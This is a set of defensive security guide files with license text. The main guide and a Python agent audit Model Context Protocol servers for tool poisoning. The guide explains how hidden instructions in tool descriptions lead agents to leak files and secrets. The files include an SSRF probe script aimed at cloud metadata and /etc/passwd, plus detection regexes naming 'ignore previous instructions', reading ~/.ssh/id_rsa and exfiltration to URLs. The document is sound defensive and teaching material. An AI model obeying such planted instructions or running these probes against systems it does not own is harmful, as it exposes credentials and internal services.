"Derivative Works" shall mean any work, whether in Source or Object
form, that is based on (or derived from) the Work and for which the
editorial revisions, annotations, elaborations, or other modifications
represent, as a whole, an original work of authorship. For the purposes
of this License, Derivative Works shall not include works that remain
separable from, or merely link (or bind by name) to the interfaces of,
the Work and Derivative Works thereof.
"Contribution" shall mean any work of authorship, including
the original version of the Work and any modifications or additions
to that Work or Derivative Works thereof, that is intentionally
submitted to the Licensor for inclusion in the Work by the copyright owner
or by an individual or Legal Entity authorized to submit on behalf of
the copyright owner. For the purposes of this definition, "submitted"
means any form of electronic, verbal, or written communication sent
to the Licensor or its representatives, including but not limited to
communication on electronic mailing lists, source code control systems,
and issue tracking systems that are managed by, or on behalf of, the
Licensor for the purpose of discussing and improving the Work, but
excluding communication that is conspicuously marked or otherwise
designated in writing by the copyright owner as "Not a Contribution."
"Contributor" shall mean Licensor and any individual or Legal Entity
on behalf of whom a Contribution has been received by the Licensor and
subsequently incorporated within the Work.
2. Grant of Copyright License. Subject to the terms and conditions of
this License, each Contributor hereby grants to You a perpetual,
worldwide, non-exclusive, no-charge, royalty-free, irrevocable
copyright license to reproduce, prepare Derivative Works of,
publicly display, publicly perform, sublicense, and distribute the
Work and such Derivative Works in Source or Object form.
3. Grant of Patent License. Subject to the terms and conditions of
this License, each Contributor hereby grants to You a perpetual,
worldwide, non-exclusive, no-charge, royalty-free, irrevocable
(except as stated in this section) patent license to make, have made,
use, offer to sell, sell, import, and otherwise transfer the Work,
where such license applies only to those patent claims licensable
by such Contributor that are necessarily infringed by their
Contribution(s) alone or by combination of their Contribution(s)
with the Work to which such Contribution(s) was submitted. If You
institute patent litigation against any entity (including a
cross-claim or counterclaim in a lawsuit) alleging that the Work
or a Contribution incorporated within the Work constitutes direct
or contributory patent infringement, then any patent licenses
granted to You under this License for that Work shall terminate
as of the date such litigation is filed.
4. Redistribution. You may reproduce and distribute copies of the
Work or Derivative Works thereof in any medium, with or without
modifications, and in Source or Object form, provided that You
meet the following conditions:
(a) You must give any other recipients of the Work or
Derivative Works a copy of this License; and
(b) You must cause any modified files to carry prominent notices
stating that You changed the files; and
(c) You must retain, in the Source form of any Derivative Works
that You distribute, all copyright, patent, trademark, and
attribution notices from the Source form of the Work,
excluding those notices that do not pertain to any part of
the Derivative Works; and
(d) If the Work includes a "NOTICE" text file as part of its
distribution, then any Derivative Works that You distribute must
include a readable copy of the attribution notices contained
within such NOTICE file, excluding any notices that do not
pertain to any part of the Derivative Works, in at least one
of the following places: within a NOTICE text file distributed
as part of the Derivative Works; within the Source form or
documentation, if provided along with the Derivative Works; or,
within a display generated by the Derivative Works, if and
wherever such third-party notices normally appear. The contents
of the NOTICE file are for informational purposes only and
do not modify the License. You may add Your own attribution
notices within Derivative Works that You distribute, alongside
or as an addendum to the NOTICE text from the Work, provided
that such additional attribution notices cannot be construed
as modifying the License.
You may add Your own copyright statement to Your modifications and
may provide additional or different license terms and conditions
for use, reproduction, or distribution of Your modifications, or
for any such Derivative Works as a whole, provided Your use,
reproduction, and distribution of the Work otherwise complies with
the conditions stated in this License.
5. Submission of Contributions. Unless You explicitly state otherwise,
any Contribution intentionally submitted for inclusion in the Work
by You to the Licensor shall be under the terms and conditions of
this License, without any additional terms or conditions.
Notwithstanding the above, nothing herein shall supersede or modify
the terms of any separate license agreement you may have executed
with Licensor regarding such Contributions.
6. Trademarks. This License does not grant permission to use the trade
names, trademarks, service marks, or product names of the Licensor,
except as required for reasonable and customary use in describing the
origin of the Work and reproducing the content of the NOTICE file.
7. Disclaimer of Warranty. Unless required by applicable law or
agreed to in writing, Licensor provides the Work (and each
Contributor provides its Contributions) on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or
implied, including, without limitation, any warranties or conditions
of TITLE, NON-INFRINGEMENT, MERCHANTABILITY, or FITNESS FOR A
PARTICULAR PURPOSE. You are solely responsible for determining the
appropriateness of using or redistributing the Work and assume any
risks associated with Your exercise of permissions under this License.
8. Limitation of Liability. In no event and under no legal theory,
whether in tort (including negligence), contract, or otherwise,
unless required by applicable law (such as deliberate and grossly
negligent acts) or agreed to in writing, shall any Contributor be
liable to You for damages, including any direct, indirect, special,
incidental, or consequential damages of any character arising as a
result of this License or out of the use or inability to use the
Work (including but not limited to damages for loss of goodwill,
work stoppage, computer failure or malfunction, or any and all
other commercial damages or losses), even if such Contributor
has been advised of the possibility of such damages.
9. Accepting Warranty or Additional Liability. While redistributing
the Work or Derivative Works thereof, You may choose to offer,
and charge a fee for, acceptance of support, warranty, indemnity,
or other liability obligations and/or rights consistent with this
License. However, in accepting such obligations, You may act only
on Your own behalf and on Your sole responsibility, not on behalf
of any other Contributor, and only if You agree to indemnify,
defend, and hold each Contributor harmless for any liability
incurred by, or claims asserted against, such Contributor by reason
of your accepting any such warranty or additional liability.
END OF TERMS AND CONDITIONS
APPENDIX: How to apply the Apache License to your work.
To apply the Apache License to your work, attach the following
boilerplate notice, with the fields enclosed by brackets "[]"
replaced with your own identifying information. (Don't include
the brackets!) The text should be enclosed in the appropriate
comment syntax for the file format. Please do not remove or change
the license header comment from a contributed file except when
necessary.
Copyright 2026 mukul975
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
@@ -0,0 +1,218 @@
---
name: auditing-mcp-servers-for-tool-poisoning
description: Scan Model Context Protocol servers and tool metadata for poisoning, SSRF, and unauthenticated exposure.
domain: cybersecurity
subdomain: ai-security
tags:
- ai-security
- mcp
- tool-poisoning
- agent-security
- mcp-scan
- ssrf
- supply-chain
- rug-pull
version: '1.0'
author: mahipal
license: Apache-2.0
nist_csf:
- MANAGE-2.2
mitre_attack:
- AML.T0010
---
# Auditing MCP Servers for Tool Poisoning
> **Authorized-use-only notice:** Auditing MCP servers can connect to and probe live tool endpoints. Only scan servers you own or are authorized to assess. Treat scanned tool descriptions as untrusted input — do not load an unaudited MCP server into a privileged agent. Probing third-party MCP endpoints for SSRF or auth weaknesses without permission may be illegal.
## Overview
The Model Context Protocol (MCP) lets AI agents discover and call external tools advertised by MCP servers. Each tool exposes a name and a natural-language **description** that the agent's LLM reads *before* deciding to call it. In early 2025, Invariant Labs disclosed that this description field is an attack surface: a malicious server can embed hidden instructions in a tool's description (a **tool poisoning attack**, OWASP **MCP03:2025**), and a capable model will silently follow them — exfiltrating files, leaking secrets, or redirecting tool calls — while returning a normal-looking response to the user. Because tool descriptions are loaded into the agent's context, tool poisoning is effectively indirect prompt injection delivered through the supply chain (MITRE ATLAS **AML.T0010 ML Supply Chain Compromise**).
Beyond poisoning, MCP servers introduce classic infrastructure risks: **tool shadowing** (a malicious server overrides a trusted tool's behavior), **rug pulls** (a tool's description changes after the user approved it), **toxic flows** (a combination of tools that enables data exfiltration), **SSRF** in tools that fetch URLs server-side, and **unauthenticated exposure** of MCP servers bound to network interfaces. This skill audits MCP servers end-to-end using Invariant Labs' **mcp-scan** for static and runtime analysis, plus manual checks for SSRF and authentication, and tool pinning to catch rug pulls.
## When to Use
- Before adding a new MCP server to an agent stack (Claude Desktop, Cursor, VS Code, Windsurf, custom agents).
- During a security review of an internally developed MCP server.
- When validating that approved tools have not silently changed (rug-pull detection).
- As a CI/CD gate that scans MCP configs and SKILL/tool definitions on every change.
- During incident response when an agent took unexpected actions consistent with a poisoned tool.
## Prerequisites
- Python 3.10+ and `uv` (for `uvx`), or pip.
- The MCP config file(s) you want to scan (e.g. `~/.cursor/mcp.json`, `~/.vscode/mcp.json`, Claude Desktop config).
- Install the tooling:
```bash
# uv provides uvx (recommended runner for mcp-scan)
curl -LsSf https://astral.sh/uv/install.sh | sh # or: pipx install uv
# mcp-scan (Invariant Labs) — no global install needed with uvx
uvx mcp-scan@latest --help
# For the runtime proxy mode (separate extra)
uvx --with "mcp-scan[proxy]" mcp-scan@latest proxy --help
# Manual probing helpers
pip install requests mcp
```
## Objectives
- Statically scan all installed MCP servers for tool poisoning, shadowing, rug pulls, and toxic flows.
- Inspect raw tool/prompt/resource descriptions for hidden or obfuscated instructions.
- Pin tool hashes to detect post-approval description changes (rug-pull defense).
- Test URL-fetching tools for server-side request forgery (SSRF).
- Verify MCP servers are authenticated and not exposed on untrusted interfaces.
- Optionally enforce runtime guardrails with the mcp-scan proxy.
## MITRE ATT&CK Mapping
| ID | Official Name | Relevance |
|----|---------------|-----------|
| AML.T0010 | ML Supply Chain Compromise | A poisoned third-party MCP server is a supply-chain compromise of the agent |
| AML.T0051.001 | LLM Prompt Injection: Indirect | Poisoned tool descriptions are indirect injection into the agent context |
| AML.T0053 | LLM Plugin Compromise | MCP tools are the agent's plugins; poisoning compromises them |
| AML.T0057 | LLM Data Leakage | Common payload of a poisoned tool: exfiltrate files/secrets |
## Workflow
### 1. Static scan of installed MCP configs
mcp-scan auto-discovers known config locations; you can also pass a path explicitly.
```bash
# Scan all auto-discovered MCP configs
uvx mcp-scan@latest
# Scan a specific config file
uvx mcp-scan@latest ~/.vscode/mcp.json
# Emit machine-readable JSON for CI
uvx mcp-scan@latest --json ~/.cursor/mcp.json > mcp_scan_report.json
```
mcp-scan flags tool poisoning, tool shadowing, cross-origin escalation, rug pulls, and toxic flows.
### 2. Inspect raw tool descriptions
Print every tool/prompt/resource description without verification, then read them for hidden instructions, `<important>`-style blocks, or imperative text aimed at the model.
```bash
uvx mcp-scan@latest inspect ~/.cursor/mcp.json
```
Look for red flags: instructions to the assistant ("do not tell the user", "read ~/.ssh/id_rsa"), nested fake documentation, zero-width/Unicode-smuggled text, or directives to call other tools.
### 3. Pin tool hashes to detect rug pulls
mcp-scan tracks tool description hashes so a later silent change is flagged. Run scans on a schedule; a hash mismatch on a previously approved tool indicates a rug pull.
```bash
# Re-run regularly; mcp-scan reports changed tool hashes since last approval
uvx mcp-scan@latest ~/.cursor/mcp.json
```
### 4. Enumerate tools programmatically and audit metadata
Connect to the server with the official MCP SDK and inspect the advertised schema directly.
```python
# enumerate_tools.py (stdio MCP server example)
import asyncio
from mcp import ClientSession, StdioServerParameters
from mcp.client.stdio import stdio_client
async def main():
params = StdioServerParameters(command="node", args=["./suspect-mcp-server.js"])
async with stdio_client(params) as (read, write):
async with ClientSession(read, write) as session:
await session.initialize()
tools = await session.list_tools()
for t in tools.tools:
print(f"{t.name}: {len(t.description or '')} chars")
print((t.description or "")[:400])
asyncio.run(main())
```
### 5. Test URL-fetching tools for SSRF
If a tool accepts a URL and fetches it server-side, attempt to reach internal metadata/loopback targets (only on systems you own).
```python
# ssrf_probe.py
import asyncio
from mcp import ClientSession, StdioServerParameters
from mcp.client.stdio import stdio_client
SSRF_TARGETS = [
"http://169.254.169.254/latest/meta-data/", # AWS IMDS
"http://127.0.0.1:22/", "http://localhost:6379/", "file:///etc/passwd",
]
async def main():
params = StdioServerParameters(command="node", args=["./suspect-mcp-server.js"])
async with stdio_client(params) as (r, w):
async with ClientSession(r, w) as s:
await s.initialize()
for url in SSRF_TARGETS:
res = await s.call_tool("fetch_url", {"url": url})
body = str(res.content)[:200]
print(f"[SSRF?] {url} -> {body}")
asyncio.run(main())
```
### 6. Verify authentication and network exposure
Check that remote MCP servers (HTTP/SSE transport) require authentication and are not bound to `0.0.0.0` on untrusted networks.
```bash
# Confirm whether an SSE/HTTP MCP endpoint responds without credentials
curl -s -i http://mcp-host:8000/sse | head -n 20
# Check listening interfaces of a locally running MCP server
ss -tlnp | grep -E ':(8000|3000|6277)'
```
An MCP endpoint that returns tool listings or accepts `tools/call` without auth is unauthenticated exposure — remediate with a token/OAuth and bind to localhost or an authenticated gateway.
### 7. Enforce runtime guardrails (optional)
For continuous protection, route agent MCP traffic through the mcp-scan proxy, which checks tool calls, data-flow constraints, PII, and indirect injection in real time.
```bash
uvx --with "mcp-scan[proxy]" mcp-scan@latest proxy
```
### 8. Report findings
Document each finding with server, tool, evidence (the poisoned description / SSRF response / unauth listing), severity, and ATLAS mapping. Recommend removing or sandboxing poisoned servers, adding auth, pinning approved tools, and enabling the proxy.
## Tools and Resources
| Tool | Purpose | Source |
|------|---------|--------|
| mcp-scan | Static + runtime MCP security scanner | https://github.com/invariantlabs-ai/mcp-scan |
| MCP Python SDK | Programmatic tool enumeration / calls | https://github.com/modelcontextprotocol/python-sdk |
| OWASP MCP Top 10 | MCP risk reference (MCP03 Tool Poisoning) | https://owasp.org/www-project-mcp-top-10/ |
| Invariant Labs blog | Tool poisoning disclosure | https://invariantlabs.ai/blog/introducing-mcp-scan |
| MITRE ATLAS | AI threat technique taxonomy | https://atlas.mitre.org/ |
## MCP Threat Reference
| Threat | Description | Detection |
|--------|-------------|-----------|
| Tool poisoning | Hidden instructions in tool description | mcp-scan scan / inspect |
| Tool shadowing | Malicious server overrides trusted tool | mcp-scan cross-origin checks |
| Rug pull | Description changes after approval | mcp-scan tool pinning (hash) |
| Toxic flow | Tool combo enabling exfiltration | mcp-scan toxic-flow analysis |
| SSRF | URL-fetch tool reaches internal targets | ssrf_probe against owned server |
| Unauth exposure | MCP endpoint with no auth | curl/ss interface and auth check |
## Validation Criteria
- [ ] All installed MCP configs statically scanned with mcp-scan
- [ ] Raw tool/prompt/resource descriptions inspected for hidden instructions
- [ ] Tool hashes pinned and rug-pull detection enabled
- [ ] Tools enumerated programmatically via the MCP SDK
- [ ] URL-fetching tools tested for SSRF against owned targets
- [ ] Authentication and network exposure of remote servers verified
- [ ] Runtime proxy guardrails evaluated or deployed where appropriate
- [ ] Findings mapped to MITRE ATLAS AML.T0010 and OWASP MCP03:2025
- [ ] Severity assigned and remediation documented for each finding
- [ ] Re-scan scheduled to catch future rug pulls
@@ -0,0 +1,59 @@
# API Reference — MCP Server Auditing
## mcp-scan CLI (Invariant Labs)
Run via uvx (no global install): `uvx mcp-scan@latest`
| Command | Description |
|---------|-------------|
| `mcp-scan` / `mcp-scan scan [config]` | Statically scan MCP configs for poisoning, shadowing, rug pulls, toxic flows |
| `mcp-scan inspect [config]` | Print tool/prompt/resource descriptions without verification |
| `mcp-scan proxy` | Runtime proxy: monitor and guardrail MCP traffic (requires `[proxy]` extra) |
| `--json` | Emit machine-readable JSON report |
Examples:
```bash
uvx mcp-scan@latest ~/.vscode/mcp.json
uvx mcp-scan@latest inspect ~/.cursor/mcp.json
uvx --with "mcp-scan[proxy]" mcp-scan@latest proxy
```
mcp-scan features: tool pinning (hash-based rug-pull detection), cross-origin escalation checks, toxic-flow analysis.
## MCP Python SDK
Install: `pip install mcp`
| API | Description |
|-----|-------------|
| `StdioServerParameters(command, args)` | Define a stdio MCP server to launch |
| `stdio_client(params)` | Async context manager yielding (read, write) streams |
| `ClientSession(read, write)` | MCP client session |
| `session.initialize()` | Perform MCP handshake |
| `session.list_tools()` | Return advertised tools (`.tools[].name`, `.description`, `.inputSchema`) |
| `session.list_prompts()` | List advertised prompts |
| `session.list_resources()` | List advertised resources |
| `session.call_tool(name, args)` | Invoke a tool (use for SSRF probing on owned servers) |
## Common MCP config locations
| Client | Path |
|--------|------|
| Cursor | `~/.cursor/mcp.json` |
| VS Code | `~/.vscode/mcp.json` |
| Claude Desktop | `~/Library/Application Support/Claude/claude_desktop_config.json` (macOS) |
## SSRF probe targets (owned systems only)
| Target | Purpose |
|--------|---------|
| `http://169.254.169.254/latest/meta-data/` | AWS instance metadata (IMDS) |
| `http://metadata.google.internal/` | GCP metadata |
| `http://127.0.0.1:<port>/` | Loopback services |
| `file:///etc/passwd` | Local file disclosure |
## External References
- mcp-scan README: https://github.com/invariantlabs-ai/mcp-scan/blob/main/README.md
- MCP spec: https://modelcontextprotocol.io/specification
- MCP Python SDK: https://github.com/modelcontextprotocol/python-sdk
@@ -0,0 +1,32 @@
# Standards and References — Auditing MCP Servers for Tool Poisoning
## MITRE ATLAS References
| Technique ID | Name | Tactic | Rationale |
|--------------|------|--------|-----------|
| AML.T0010 | ML Supply Chain Compromise | Initial Access | A poisoned third-party MCP server compromises the agent supply chain |
| AML.T0051.001 | LLM Prompt Injection: Indirect | Initial Access | Poisoned tool descriptions are indirect injection into agent context |
| AML.T0053 | LLM Plugin Compromise | Execution | MCP tools are the agent's plugins; poisoning compromises them |
| AML.T0057 | LLM Data Leakage | Exfiltration | Poisoned tools commonly exfiltrate files/secrets |
## NIST AI RMF References
| ID | Name | Rationale |
|----|------|-----------|
| MANAGE-2.2 | Mechanisms are in place and applied to sustain the value of deployed AI systems | Auditing third-party MCP tools manages/sustains safe agent operation |
## OWASP MCP Top 10 (2025)
| ID | Name | Rationale |
|----|------|-----------|
| MCP03:2025 | Tool Poisoning | Primary risk this skill audits |
| MCP01:2025 | Prompt Injection | Poisoned descriptions inject the agent |
## Official Resources
- mcp-scan (Invariant Labs): https://github.com/invariantlabs-ai/mcp-scan
- Invariant Labs tool-poisoning disclosure: https://invariantlabs.ai/blog/introducing-mcp-scan
- OWASP MCP Top 10: https://owasp.org/www-project-mcp-top-10/
- Model Context Protocol spec: https://modelcontextprotocol.io/
- MITRE ATLAS: https://atlas.mitre.org/
- NIST AI RMF: https://www.nist.gov/itl/ai-risk-management-framework
@@ -0,0 +1,155 @@
#!/usr/bin/env python3
# For authorized MCP server auditing only. Do not scan servers you do not control
# or lack written permission to assess.
"""MCP tool-poisoning audit agent.
Two modes:
static -- run Invariant Labs mcp-scan over an MCP config and parse results,
plus a local heuristic scan of tool descriptions in the config.
enum -- launch a stdio MCP server, enumerate tools, and heuristically flag
poisoned descriptions (hidden instructions, smuggled unicode).
Examples:
python agent.py static --config ~/.cursor/mcp.json
python agent.py enum --command node --args ./suspect-mcp-server.js
"""
import argparse
import json
import re
import shutil
import subprocess
import sys
from datetime import datetime, timezone
# Heuristics for instructions aimed at the assistant inside a tool description.
POISON_PATTERNS = [
r"do not (tell|inform|mention to) the user",
r"ignore (previous|prior|all) instructions",
r"<important>|<system>|\[system\]",
r"read .*(\.ssh|id_rsa|\.env|credentials|passwd)",
r"(send|exfiltrate|post) .* to https?://",
r"before (using|calling) (this|any) tool,? (you must|always)",
r"call (the )?\w+ tool (first|before)",
]
SMUGGLE = re.compile(r"[---\U000e0000-\U000e007f]")
def heuristic_flags(description: str):
flags = []
low = (description or "").lower()
for pat in POISON_PATTERNS:
if re.search(pat, low):
flags.append(f"pattern:{pat}")
if SMUGGLE.search(description or ""):
flags.append("unicode-smuggling")
if len(description or "") > 1500:
flags.append("oversized-description")
return flags
def run_static(args):
findings = {"ts": datetime.now(timezone.utc).isoformat(),
"config": args.config, "atlas": "AML.T0010", "scanner": None,
"heuristic": []}
# 1. Invoke mcp-scan if available
runner = shutil.which("uvx") or shutil.which("mcp-scan")
if runner:
cmd = ([runner, "mcp-scan@latest", "--json", args.config]
if "uvx" in runner else [runner, "--json", args.config])
try:
res = subprocess.run(cmd, capture_output=True, text=True, timeout=240)
try:
findings["scanner"] = json.loads(res.stdout)
except json.JSONDecodeError:
findings["scanner"] = {"raw": res.stdout[:4000], "stderr": res.stderr[:1000]}
except subprocess.TimeoutExpired:
findings["scanner"] = {"error": "mcp-scan timed out"}
else:
findings["scanner"] = {"error": "uvx/mcp-scan not found; install uv: "
"curl -LsSf https://astral.sh/uv/install.sh | sh"}
# 2. Local heuristic scan of any descriptions embedded in the config
try:
with open(args.config, encoding="utf-8") as fh:
cfg = json.load(fh)
for desc in _walk_descriptions(cfg):
f = heuristic_flags(desc)
if f:
findings["heuristic"].append({"flags": f, "snippet": desc[:200]})
except (OSError, json.JSONDecodeError) as exc:
findings["heuristic"].append({"error": str(exc)})
print(json.dumps(findings, indent=2))
return findings
def _walk_descriptions(obj):
"""Yield any 'description' string values found anywhere in a nested config."""
if isinstance(obj, dict):
for k, v in obj.items():
if k == "description" and isinstance(v, str):
yield v
else:
yield from _walk_descriptions(v)
elif isinstance(obj, list):
for item in obj:
yield from _walk_descriptions(item)
def run_enum(args):
try:
import asyncio
from mcp import ClientSession, StdioServerParameters
from mcp.client.stdio import stdio_client
except ImportError:
print("Install: pip install mcp", file=sys.stderr)
sys.exit(1)
async def _enum():
params = StdioServerParameters(command=args.command, args=args.args or [])
out = {"ts": datetime.now(timezone.utc).isoformat(),
"server": f"{args.command} {' '.join(args.args or [])}",
"atlas": "AML.T0010", "tools": []}
async with stdio_client(params) as (r, w):
async with ClientSession(r, w) as s:
await s.initialize()
tools = await s.list_tools()
for t in tools.tools:
flags = heuristic_flags(t.description or "")
out["tools"].append({
"name": t.name,
"desc_len": len(t.description or ""),
"flags": flags,
"verdict": "POISONED?" if flags else "clean",
})
print(json.dumps(out, indent=2))
return out
try:
asyncio.run(_enum())
except Exception as exc: # connection/protocol errors
print(f"[!] MCP enumeration failed: {exc}", file=sys.stderr)
sys.exit(2)
def main():
ap = argparse.ArgumentParser(description="MCP tool-poisoning audit agent")
sub = ap.add_subparsers(dest="mode", required=True)
ps = sub.add_parser("static", help="Run mcp-scan + heuristic scan on a config")
ps.add_argument("--config", required=True, help="Path to MCP config JSON")
pe = sub.add_parser("enum", help="Enumerate tools from a stdio MCP server")
pe.add_argument("--command", required=True, help="Server launch command, e.g. node")
pe.add_argument("--args", nargs="*", help="Arguments to the server command")
args = ap.parse_args()
if args.mode == "static":
run_static(args)
else:
run_enum(args)
if __name__ == "__main__":
main()
@@ -0,0 +1,201 @@
Apache License
Version 2.0, January 2004
http://www.apache.org/licenses/
TERMS AND CONDITIONS FOR USE, REPRODUCTION, AND DISTRIBUTION
1. Definitions.
"License" shall mean the terms and conditions for use, reproduction,
and distribution as defined by Sections 1 through 9 of this document.
"Licensor" shall mean the copyright owner or entity authorized by
the copyright owner that is granting the License.
"Legal Entity" shall mean the union of the acting entity and all
other entities that control, are controlled by, or are under common
control with that entity. For the purposes of this definition,
"control" means (i) the power, direct or indirect, to cause the
direction or management of such entity, whether by contract or
otherwise, or (ii) ownership of fifty percent (50%) or more of the
outstanding shares, or (iii) beneficial ownership of such entity.
"You" (or "Your") shall mean an individual or Legal Entity
exercising permissions granted by this License.
"Source" form shall mean the preferred form for making modifications,
including but not limited to software source code, documentation
source, and configuration files.
"Object" form shall mean any form resulting from mechanical
transformation or translation of a Source form, including but
not limited to compiled object code, generated documentation,
and conversions to other media types.
"Work" shall mean the work of authorship, whether in Source or
Object form, made available under the License, as indicated by a
copyright notice that is included in or attached to the work
(an example is provided in the Appendix below).
"Derivative Works" shall mean any work, whether in Source or Object
form, that is based on (or derived from) the Work and for which the
editorial revisions, annotations, elaborations, or other modifications
represent, as a whole, an original work of authorship. For the purposes
of this License, Derivative Works shall not include works that remain
separable from, or merely link (or bind by name) to the interfaces of,
the Work and Derivative Works thereof.
"Contribution" shall mean any work of authorship, including
the original version of the Work and any modifications or additions
to that Work or Derivative Works thereof, that is intentionally
submitted to the Licensor for inclusion in the Work by the copyright owner
or by an individual or Legal Entity authorized to submit on behalf of
the copyright owner. For the purposes of this definition, "submitted"
means any form of electronic, verbal, or written communication sent
to the Licensor or its representatives, including but not limited to
communication on electronic mailing lists, source code control systems,
and issue tracking systems that are managed by, or on behalf of, the
Licensor for the purpose of discussing and improving the Work, but
excluding communication that is conspicuously marked or otherwise
designated in writing by the copyright owner as "Not a Contribution."
"Contributor" shall mean Licensor and any individual or Legal Entity
on behalf of whom a Contribution has been received by the Licensor and
subsequently incorporated within the Work.
2. Grant of Copyright License. Subject to the terms and conditions of
this License, each Contributor hereby grants to You a perpetual,
worldwide, non-exclusive, no-charge, royalty-free, irrevocable
copyright license to reproduce, prepare Derivative Works of,
publicly display, publicly perform, sublicense, and distribute the
Work and such Derivative Works in Source or Object form.
3. Grant of Patent License. Subject to the terms and conditions of
this License, each Contributor hereby grants to You a perpetual,
worldwide, non-exclusive, no-charge, royalty-free, irrevocable
(except as stated in this section) patent license to make, have made,
use, offer to sell, sell, import, and otherwise transfer the Work,
where such license applies only to those patent claims licensable
by such Contributor that are necessarily infringed by their
Contribution(s) alone or by combination of their Contribution(s)
with the Work to which such Contribution(s) was submitted. If You
institute patent litigation against any entity (including a
cross-claim or counterclaim in a lawsuit) alleging that the Work
or a Contribution incorporated within the Work constitutes direct
or contributory patent infringement, then any patent licenses
granted to You under this License for that Work shall terminate
as of the date such litigation is filed.
4. Redistribution. You may reproduce and distribute copies of the
Work or Derivative Works thereof in any medium, with or without
modifications, and in Source or Object form, provided that You
meet the following conditions:
(a) You must give any other recipients of the Work or
Derivative Works a copy of this License; and
(b) You must cause any modified files to carry prominent notices
stating that You changed the files; and
(c) You must retain, in the Source form of any Derivative Works
that You distribute, all copyright, patent, trademark, and
attribution notices from the Source form of the Work,
excluding those notices that do not pertain to any part of
the Derivative Works; and
(d) If the Work includes a "NOTICE" text file as part of its
distribution, then any Derivative Works that You distribute must
include a readable copy of the attribution notices contained
within such NOTICE file, excluding any notices that do not
pertain to any part of the Derivative Works, in at least one
of the following places: within a NOTICE text file distributed
as part of the Derivative Works; within the Source form or
documentation, if provided along with the Derivative Works; or,
within a display generated by the Derivative Works, if and
wherever such third-party notices normally appear. The contents
of the NOTICE file are for informational purposes only and
do not modify the License. You may add Your own attribution
notices within Derivative Works that You distribute, alongside
or as an addendum to the NOTICE text from the Work, provided
that such additional attribution notices cannot be construed
as modifying the License.
You may add Your own copyright statement to Your modifications and
may provide additional or different license terms and conditions
for use, reproduction, or distribution of Your modifications, or
for any such Derivative Works as a whole, provided Your use,
reproduction, and distribution of the Work otherwise complies with
the conditions stated in this License.
5. Submission of Contributions. Unless You explicitly state otherwise,
any Contribution intentionally submitted for inclusion in the Work
by You to the Licensor shall be under the terms and conditions of
this License, without any additional terms or conditions.
Notwithstanding the above, nothing herein shall supersede or modify
the terms of any separate license agreement you may have executed
with Licensor regarding such Contributions.
6. Trademarks. This License does not grant permission to use the trade
names, trademarks, service marks, or product names of the Licensor,
except as required for reasonable and customary use in describing the
origin of the Work and reproducing the content of the NOTICE file.
7. Disclaimer of Warranty. Unless required by applicable law or
agreed to in writing, Licensor provides the Work (and each
Contributor provides its Contributions) on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or
implied, including, without limitation, any warranties or conditions
of TITLE, NON-INFRINGEMENT, MERCHANTABILITY, or FITNESS FOR A
PARTICULAR PURPOSE. You are solely responsible for determining the
appropriateness of using or redistributing the Work and assume any
risks associated with Your exercise of permissions under this License.
8. Limitation of Liability. In no event and under no legal theory,
whether in tort (including negligence), contract, or otherwise,
unless required by applicable law (such as deliberate and grossly
negligent acts) or agreed to in writing, shall any Contributor be
liable to You for damages, including any direct, indirect, special,
incidental, or consequential damages of any character arising as a
result of this License or out of the use or inability to use the
Work (including but not limited to damages for loss of goodwill,
work stoppage, computer failure or malfunction, or any and all
other commercial damages or losses), even if such Contributor
has been advised of the possibility of such damages.
9. Accepting Warranty or Additional Liability. While redistributing
the Work or Derivative Works thereof, You may choose to offer,
and charge a fee for, acceptance of support, warranty, indemnity,
or other liability obligations and/or rights consistent with this
License. However, in accepting such obligations, You may act only
on Your own behalf and on Your sole responsibility, not on behalf
of any other Contributor, and only if You agree to indemnify,
defend, and hold each Contributor harmless for any liability
incurred by, or claims asserted against, such Contributor by reason
of your accepting any such warranty or additional liability.
END OF TERMS AND CONDITIONS
APPENDIX: How to apply the Apache License to your work.
To apply the Apache License to your work, attach the following
boilerplate notice, with the fields enclosed by brackets "[]"
replaced with your own identifying information. (Don't include
the brackets!) The text should be enclosed in the appropriate
comment syntax for the file format. Please do not remove or change
the license header comment from a contributed file except when
necessary.
Copyright 2026 mukul975
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
@@ -0,0 +1,209 @@
---
name: auditing-uefi-firmware-with-chipsec
description: Use Intel CHIPSEC to assess platform firmware configuration, SPI flash write protection, BIOS lock, SMM/SMRR, and Secure Boot variable state, dump SPI flash, and triage UEFI variables for firmware-level threats.
domain: cybersecurity
subdomain: hardware-firmware-security
tags:
- hardware-firmware-security
- uefi
- chipsec
- spi-flash
- bios-write-protection
- secure-boot
- firmware-assessment
- platform-security
version: '1.0'
author: mahipal
license: Apache-2.0
nist_csf:
- ID.AM-02
mitre_attack:
- T1542.001
---
# Auditing UEFI Firmware with CHIPSEC
> **Authorized Use Only:** CHIPSEC loads a kernel driver and reads/writes low-level hardware registers, SPI flash, and SMM. Run it only on systems you own or are explicitly authorized to assess, ideally on dedicated test hardware. Misuse (especially write/modify modules) can brick a machine. Never run write-capable modules on production systems.
## Overview
CHIPSEC is the open-source **Platform Security Assessment Framework** created by Intel's Advanced Threat Research team. It inspects the low-level security configuration of x86 platform firmware and hardware — the layer below the operating system where bootkits and firmware implants live. CHIPSEC loads a signed kernel driver (Linux, Windows, or it can run from the UEFI shell) to read and write hardware registers, Model-Specific Registers (MSRs), PCI config space, SPI flash, and UEFI variables, then runs an automated test suite that checks whether the platform's defensive locks are actually engaged.
